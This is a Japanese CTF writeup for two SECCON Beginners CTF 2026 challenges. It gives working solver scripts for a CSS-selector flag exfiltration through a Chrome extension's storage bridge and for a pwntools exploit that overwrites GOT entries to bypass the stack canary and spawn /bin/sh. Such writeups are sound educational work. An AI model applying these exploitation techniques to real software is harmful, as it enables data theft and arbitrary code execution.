はじめに
2026/6に開催された、SECCON Beginners CTF 2026の問題である、
- [Web] review4b
- [Pwn] scoreboard
のwriteupです。
今年は、3人チームでぼちぼち問題を解き、大体は手動で解いていました。
最後のbacklogだけ自力で解けなかったのが無念。
今度upsolveをしようと思います。
[Web] review4b
配布されたChrome拡張機能のソースコードを確認すると、DOM属性経由で任意のメッセージをService Workerへ送信できることがわかります。
今回はこの挙動を利用して、local storageに保存されたフラグを窃取します。
以下は、今回の問題の構成です。
- app
- noteの保存/表示
- noteへのアクセスログ保存/表示
- 記録日時
- 保存する際に送られてきたクエリパラメータ
- IP
- admin botによる任意noteの閲覧
- extension (Content Scripts / Service Worker)
- admin botが任意noteを閲覧する際に有効化されているChrome拡張機能
- Content Script
- note一覧を表示する
notes/にアクセスした際、要素の属性を更新 -
chrome.runtime.sendMessageを利用し、Service Worker側にメッセージを送信
- note一覧を表示する
- Service Worker
-
sendMessageにて送信されたメッセージを処理する -
cmd = "settings.get"を受け取り、任意のlocal storage内容を返す - 拡張機能起動時、バージョンやflagをlocal storageに設定
-
noteには好きなhtml/cssが設定できますが、jsは実行できないようになっています。
function noteCsp() {
return [
"default-src 'self'",
"script-src 'none'",
"style-src 'self' 'unsafe-inline'",
"img-src 'self'",
"connect-src 'none'",
"font-src 'none'",
"object-src 'none'",
"base-uri 'none'",
"frame-ancestors 'none'"
].join("; ");
...
app.get("/notes/:id", async (req, res, next) => {
...
res.setHeader("Content-Security-Policy", noteCsp());
res.setHeader("X-Content-Type-Options", "nosniff");
...
});
拡張機能側の脆弱性
拡張機能には、
-
review4b-helper-resultというidの要素の作成-
textContentとしてページの情報や拡張機能のバージョンを設定
-
-
data-review4bという名前の属性がついた任意の要素の取得する-
data-review4b属性に設定された内容をService Worker側へ送信 - Service Worker側からのレスポンスをそのまま
data-review4b-resultへ設定
-
のような機能があります。
今回重要になってくるのは、data-review4b -> data-review4b-result間のデータの流れです。
data-review4bに入っているデータをそのままbase64文字列として利用し、それをjson objectとしてService Worker側に流しています。
const elements = document.querySelectorAll("[data-review4b]");
for (const el of elements) {
const encoded = el.getAttribute("data-review4b");
let msg;
try {
msg = JSON.parse(atob(encoded));
} catch {
el.setAttribute("data-review4b-result", JSON.stringify({
ok: false,
error: "invalid request"
}));
continue;
}
const response = await chrome.runtime.sendMessage(msg);
flagはlocal storageに入っているので、そのままdata-review4b-resultにflagを入れられそうです。
しかし、ここでService Worker側を見ると、オブジェクトをString化した際にflagという文字列が含まれている場合、レスポンスを返さないようにしています。
if (String(keys).includes("flag") || String(keys).includes("secret")) {
throw new Error("blocked key");
}
const result = await chrome.storage.local.get(keys);
ここで、chrome.storage.local.getの呼び出しについてのドキュメントを読んでみます。
引数の説明を見てみると、
A single key to get, list of keys to get, or a dictionary specifying default values (see description of the object). An empty list or object will return an empty result object. Pass in null to get the entire contents of storage.
とあり、なんと引数にnullを渡すとlocal storageに入っているすべての内容を取得できることがわかります。
なので、data-review4bの内容として、
{
"cmd": "settings.get",
"keys": null
}
をbase64エンコードした文字列をnoteの中に要素として埋め込めば、data-review4b-resultにフラグ内容を含んだすべての文字列を取得できそうです。
<p data-review4b="ewogICAgImNtZCI6ICJzZXR0aW5ncy5nZXQiLAogICAgImtleXMiOiBudWxsCn0=">
hi
<p/>
CSSセレクタによるフラグ内容特定
data-review4b-resultにフラグの内容を入れられたのはいいものの、ここからはその内容を特定する必要があります。
冒頭で示した通りjsは実行できないので、一筋縄ではいかないようです。
ここで、cssセレクタと、background-image属性を利用することを思いつきます。
以下を参照すると、[attribute*=value]を利用することで、属性に任意の文字列が入っているかどうかを判定できそうです。
特定の文字列が含まれていた場合、background-image に URL を指定すると、ブラウザは画像取得のためにHTTPリクエストを送信します。
さらに、app側には/leakエンドポイントを用いてクエリパラメータの内容を保存し、あとからその内容を表示できる機能があるので、それを利用します。
Solverスクリプト作成
今までの内容を組み合わせて、一文字ずつnote更新 -> admin reportを繰り返すソルバスクリプトを作成します。
フラグの既知部分を prefix として保持し、次の1文字を総当たりする CSS を生成するようにしています。
import requests
import string
import time
endpoint = 'http://review4b.beginners.seccon.games:3000'
note_id = '' # 最初にnoteを作成し、idを入れておく
candidates = string.ascii_letters + "_-0123456789{}"
def update_note(id: str, html: str):
data = {
'id': id,
'html': html,
'css': ""
}
res = requests.post(f'{endpoint}/notes', data=data)
assert res.status_code == 200
def build_html(id, flag: str, candidates: str) -> str:
head = '<p data-review4b="ewogICAgImNtZCI6ICJzZXR0aW5ncy5nZXQiLAogICAgImtleXMiOiBudWxsCn0=">hi<p/>\n'
style = '<style>\n'
for candidate in candidates:
style += f'p[data-review4b-result *= \'{flag + candidate}\' ] {{ background-image: url("/leak/{id}?a={flag + candidate}"); }}\n'
style += '</style>\n'
return head + style
def report(id: str):
data = {
'id': id,
}
res = requests.post(f'{endpoint}/report', data=data)
assert res.status_code == 200
def get_leaks(id: str) -> str:
return requests.get(f'{endpoint}/leaks/{id}').text
flag = "ctf4b{"
while True:
html = build_html(note_id, flag, candidates)
print('[+] built:', len(html), 'bytes')
update_note(note_id, html)
print('[+] updated')
report(note_id)
print('[+] reported')
leaks = get_leaks(note_id).strip()
new_flag = leaks.split('\n')[-1].split('=')[1]
if len(new_flag) <= len(flag):
print('[-] failed to retrieve')
time.sleep(3)
continue
flag = new_flag
print(flag)
これを実行すると、一文字ずつフラグの内容が再構築されていきます。
[Pwn] scoreboard
- PIEなし
- Stack Canary
が有効な実行ファイルに対して任意コード実行を目指します。
/scoreboard$ checksec --file=chall
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 53 Symbols No 0 2chall
このプログラムには大きく、二つの脆弱性が潜んでいます。
脆弱性
rankの負数チェック漏れ
submit_scoreでは、任意の順位へ任意のスコアを書き込めるようになっています。
順位が配列外である場合は、チェックによりはじかれます。
しかし、
- rankがsigned longであること
- ifにて負数チェックが存在しない
ことから、scores配列より前方のアドレスへは任意の64bit整数を書き込めることがわかります。
static void submit_score(void) {
long rank;
uint64_t score;
printf("rank:");
rank = read_long();
if (rank >= SCORE_COUNT) {
puts("invalid rank");
exit(1);
}
printf("score:");
score = read_u64();
scores[rank] = score;
}
IDAでプログラム配置を見てみると、.bssセクションの最後にscoresがあります。
scores配列より前方にはGOTなどの重要なデータが配置されているため、負のインデックスによる任意書き込みが有効そうです。
feedbackのバッファオーバーフロー
これは最初の脆弱性よりも明らかですね。
ここから、ROPで任意コード実行につながりそうです。
static void submit_feedback(void) {
char feedback[0x60];
printf("feedback:");
read(STDIN_FILENO, feedback, 0x200);
}
Stack Canaryの突破口
しかし、submit_feedbackにはStack Canaryによる保護が入っています。
そのままバッファオーバーフローによるROP Chainを構築した場合、プログラムが停止されてしまいます。
ここで、最初のsubmit_scoreで__stack_chk_failの.got.pltを全く別のアドレスに書き換えることを思いつきます。
__stack_chk_failは.bssよりも前のアドレスにあるため、書き換えが成立します。
.got.plt:0000000000404008 off_404008 dq offset __stack_chk_fail
.bss:00000000004040A0 scores dq 20h dup(?) ; DATA XREF: submit_score+72↑o
scoresは64bit整数の配列なので、__stack_chk_failからscoresの先頭までの距離を8で割ったものをrankとすることで、任意のアドレスを書き込めます。
今回は、__stack_chk_failをretへ向けることでStack Canaryを無効化します。
これにより、Canary破壊時に__stack_chk_failが呼び出されたとしても、retにより何も実行せずに保護を回避することが可能です。
import pwn
import struct
conn = pwn.connect('scoreboard.beginners.seccon.games', 9090)
def submit_score(rank: int, score: int):
conn.recvuntil(b'rank:')
conn.sendline(str(rank))
conn.recvuntil(b'score:')
conn.sendline(str(score))
# overwrite __stach_chk_fail to ret
submit_score(-19, 0x40154F)
system("/bin/sh") の実行
Stack Canaryを無効化したことにより、ROP Chainによる任意コード実行を行えるようになりました。
ここからはROP Chainを構築し、最終的にsystem("/bin/sh")の実行を目指します。
setup関数にて呼び出されている、
static void setup(void) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
の呼び出し規約を利用し、
- setvbuf (
.got.plt) ->system - 第1引数 (
stderr) ->/bin/shのアドレス
に書き換えることで、実質的にsystem("/bin/sh")を呼び出します。
構築するROP Chainは以下の通りです。
submit_score を利用して必要なメモリ書き換えを順番に行い、最後に setvbuf を呼び出す構成にします。
最後の時点で setvbuf は system に書き換えられており、stderr は /bin/sh を指しているため、system("/bin/sh") が実行されます。
Solverスクリプトの作成
今までの過程をスクリプト化し、シェルを取得します。
import pwn
import struct
conn = pwn.connect('scoreboard.beginners.seccon.games', 9090)
def submit_score(rank: int, score: int):
conn.recvuntil(b'rank:')
conn.sendline(str(rank))
conn.recvuntil(b'score:')
conn.sendline(str(score))
# overwrite __stack_chk_fail to ret
submit_score(-19, 0x40154F)
"""
submit - write /bin/sh ->
submit - overwrite setvbuf ->
submit - overwrite stderr ->
setvbuf - perform system('/bin/sh')
"""
conn.recvuntil(b'feedback:')
payload = b'A' * 104 # buf
payload += b'A' * 8 # stack canary
payload += b'A' * 8 # saved rbp
payload += struct.pack('<Q', 0x401470) # submit_score
payload += struct.pack('<Q', 0x401470) # submit_score
payload += struct.pack('<Q', 0x401470) # submit_score
payload += struct.pack('<Q', 0x40154F) # to align the stack
payload += struct.pack('<Q', 0x40127A) # setvbuf
conn.sendline(payload)
# write /bin/sh
submit_score(0, 29400045130965551) # /bin/sh
print('[+] write /bin/sh')
# overwrite setvbuf
submit_score(-13, 0x4010E0)
print('[+] write setvbuf -> system')
# overwrite stderr
submit_score(-4, 0x4040A0)
print('[+] write stderr -> /bin/sh ptr')
# get shell
conn.interactive()
最後に
今年もとても面白い問題が多かったです。
一筋縄ではいかずにいい具合で捻られており、解いていて楽しかったです。
特に、heap問が今年は出てすごく勉強になりました!
今年中にはheap問を自力で解けるようになりたいです...
とりあえずtcacheの挙動から学んでいこうと思ってます~





